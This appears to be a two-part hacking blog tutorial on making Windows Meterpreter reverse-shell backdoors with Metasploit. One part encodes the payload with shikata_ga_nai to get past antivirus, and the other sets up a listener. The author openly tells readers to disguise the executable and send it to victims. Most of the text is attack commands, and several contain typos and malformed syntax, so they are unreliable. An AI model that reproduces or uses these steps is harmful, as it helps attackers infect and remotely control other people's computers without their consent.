FUD backdoor with msfencode

In the previous article, we have seen how to create a simple backdoor.exe for exploiting windows machines simple backdoor. However that simple backdoor is easily caught by any antivirus program, you can't rely after all on a stupid victim who is not running an antivirus program on his machine, because you know that it is very rare. 
Well, metasploit has the necessary tools for crypting your backdoor to avoid detection. Let's see first our chances to bypass an antivirus program without encryption:

Here is another scan:

As you can see, we have a little chance to have a successful exploitation of a remote victim.


Let's see what available options does metasploit offer to us:

root@shinobi:~# msfencode -h

Let's see what available encoders do we have: 

root@shinobi:~# msfenode -l

As you may notice, the "shikata_ga_nai" is referred to as the best encoder in "msfencode",we are going to use it to encode our backdoor.

Let's create our backdoor:

root@shinobi:~# msfpayload windows/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw -a x86 -b '\x00\x0a\x0d' -c 5  -x /root/Desktop/pw.exe -o /root/Desktop/pwn.exe

With the above command, we enoded our backdoor 5 times with the "shikata_ga_nai" encoder and we exluded any recurrence of this code from our backdoor signature (\x00\x0a\x0d), then we exported the generated exe file to our desktop. Let's our chances now of fooling a given victim with online virus scanners..

As you can see !!!! the backdoor is totally FUD (fully undetected) !!!!

Read more

Creating a simple exe backdoor

In this scenario, we are going to create a simple backdoor which is an infected executable file to be run on a windows system. You need to provide your IP address which can be obtained by the command "ifconfig" together with the port you want your  backdoor to connect to. The custom port for this connection is usually 443 or 4444, but you can choose any other port.


issue the following command:



root@shinobi:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=4444 > root/Desktop > backdoor.exe

So, as you can see from this example, a backdoor.exe has been created in the "Home" folder. In the above example just change the ip address with yours,, and name it to whatever you like, you don't like after all to tell your victim that this is a backdoor !! :-)

Now, we have finished with the first part, but what is next? 
We simply need a listener which will handle the connection back to our exploit machine.

First of all, we need to open metasploit console:


root@shinobi:~#msfconsole

Now ,we need to use multihandler for a reverse connection:

msf >  use exploit/multi/handler

Now , we set up our payload:

msf >  set payload windows/meterpreter/reverse_tcp

Now, we have to set up the lhost & lport:

msf >  set lhost 192.168.1.15

msf >  set lport 4444

Last phase now, is to type "exploit" 


msf > exploit

We are ready for exploiting the remote machine. Send the backdoor to a victim and wait for a connection ;-)


Read more